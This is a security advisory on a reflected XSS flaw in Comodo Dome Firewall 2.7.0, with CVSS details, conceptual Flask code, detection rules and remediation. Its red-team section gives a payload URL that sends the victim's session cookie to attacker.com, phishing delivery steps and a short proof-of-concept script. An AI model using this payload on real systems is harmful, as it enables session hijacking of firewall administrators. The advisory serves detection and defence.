CVE-2019-25414

Executive Summary

CVE-2019-25414 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. An unauthenticated attacker can inject arbitrary JavaScript into the /manage/ips/appid/ endpoint by manipulating the ID parameter. This allows the attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, credential theft, or further compromise of the firewall management interface. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the vector, it is a medium-severity issue. No official patch has been identified, and the vendor status is unknown.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Comodo Dome Firewall). Therefore, supply chain security considerations are limited to the integrity of the firmware/software update process from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of data
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can be exploited by unauthenticated attackers to execute arbitrary JavaScript in the context of the firewall management interface.

Deep Dive & Mechanics

The vulnerability resides in the /manage/ips/appid/ endpoint of Comodo Dome Firewall 2.7.0. The ID parameter is reflected in the response without proper sanitization or encoding. An attacker can craft a URL such as:

https://target-firewall/manage/ips/appid/?ID=<script>alert('XSS')</script>

When a victim (e.g., an administrator) clicks this link, the browser renders the injected script, executing arbitrary JavaScript. This can be used to steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

The root cause is the lack of output encoding for user-supplied input in the ID parameter. The application likely uses a server-side language (e.g., PHP or Python) that directly echoes the parameter value into the HTML response without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable server-side code
from flask import request, render_template_string

@app.route('/manage/ips/appid/')
def vulnerable_endpoint():
    id_param = request.args.get('ID', '')
    # Directly embedding user input into response without escaping
    return render_template_string(f'<div>ID: {id_param}</div>')

Patched Code (Conceptual):

# Example of patched server-side code
from flask import request, render_template_string, escape

@app.route('/manage/ips/appid/')
def patched_endpoint():
    id_param = request.args.get('ID', '')
    # Properly escape user input before embedding
    safe_id = escape(id_param)
    return render_template_string(f'<div>ID: {safe_id}</div>')

The patched version uses a context-aware escaping function (e.g., escape() in Flask) to neutralize HTML/JavaScript injection attempts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Comodo Dome Firewall 2.7.0 with the /manage/ips/appid/ endpoint exposed.
• Victim: An authenticated administrator who clicks the crafted link.

Exploit Steps:

1. Craft a malicious URL with a JavaScript payload in the ID parameter:

   https://target-firewall/manage/ips/appid/?ID=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

2. Encode the payload to avoid URL issues (optional but recommended):

   https://target-firewall/manage/ips/appid/?ID=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

3. Deliver the link to the victim via phishing email, social engineering, or other means.
4. When the victim clicks the link, the script executes, sending the session cookie to the attacker's server.

Proof-of-Concept (PoC) Script:

import requests

target = "https://target-firewall"
payload = "<script>alert('XSS')</script>"
url = f"{target}/manage/ips/appid/?ID={payload}"

response = requests.get(url, verify=False)
if payload in response.text:
    print("[+] Vulnerability confirmed")
else:
    print("[-] Not vulnerable")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /manage/ips/appid/ containing suspicious characters like <, >, script, onerror, etc.
• Use WAF rules to block common XSS patterns in the ID parameter.

Defense:

• Apply input validation and output encoding for all user-supplied parameters.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to mitigate session theft.
• Restrict access to the management interface via VPN or IP whitelisting.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /manage/ips/appid/ with ID parameter containing <script> or other HTML/JavaScript tags.
  • Outbound connections from the firewall to unknown IPs on common ports (80, 443) after exploitation.
• File IOCs:
  • Suspicious entries in web server access logs (e.g., GET /manage/ips/appid/?ID=%3Cscript%3E...).
• Behavioral IOCs:
  • Unauthorized changes to firewall configuration.
  • Unexpected redirects or pop-ups in the management interface.

Detection Engineering

YARA Rule

rule CVE_2019_25414_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts targeting Comodo Dome Firewall CVE-2019-25414"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25414"
    strings:
        $xss_pattern1 = "/manage/ips/appid/?ID="
        $xss_pattern2 = "<script"
        $xss_pattern3 = "onerror="
        $xss_pattern4 = "javascript:"
    condition:
        $xss_pattern1 and ($xss_pattern2 or $xss_pattern3 or $xss_pattern4)
}

Sigma Rule

title: Reflected XSS Attempt on Comodo Dome Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the /manage/ips/appid/ endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/manage/ips/appid/?ID='
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of special characters in ID parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25414 - Reflected XSS in Comodo Dome Firewall";
    flow:to_server,established;
    content:"/manage/ips/appid/"; http_uri;
    content:"ID="; http_uri;
    pcre:"/(<script|onerror=|javascript:)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the firewall management interface from untrusted networks (e.g., place behind VPN or restrict to internal IPs).
2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
3. Apply input validation on the ID parameter to reject non-alphanumeric characters (if possible).

Long-Term Fix:

• Contact Comodo for an official patch or upgrade to a newer version if available.
• If no patch is available, consider replacing the device with a supported alternative.
• Conduct a security audit of the application code to identify and fix similar vulnerabilities.

Workaround:

• Manually edit the application code (if accessible) to add output encoding for the ID parameter.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert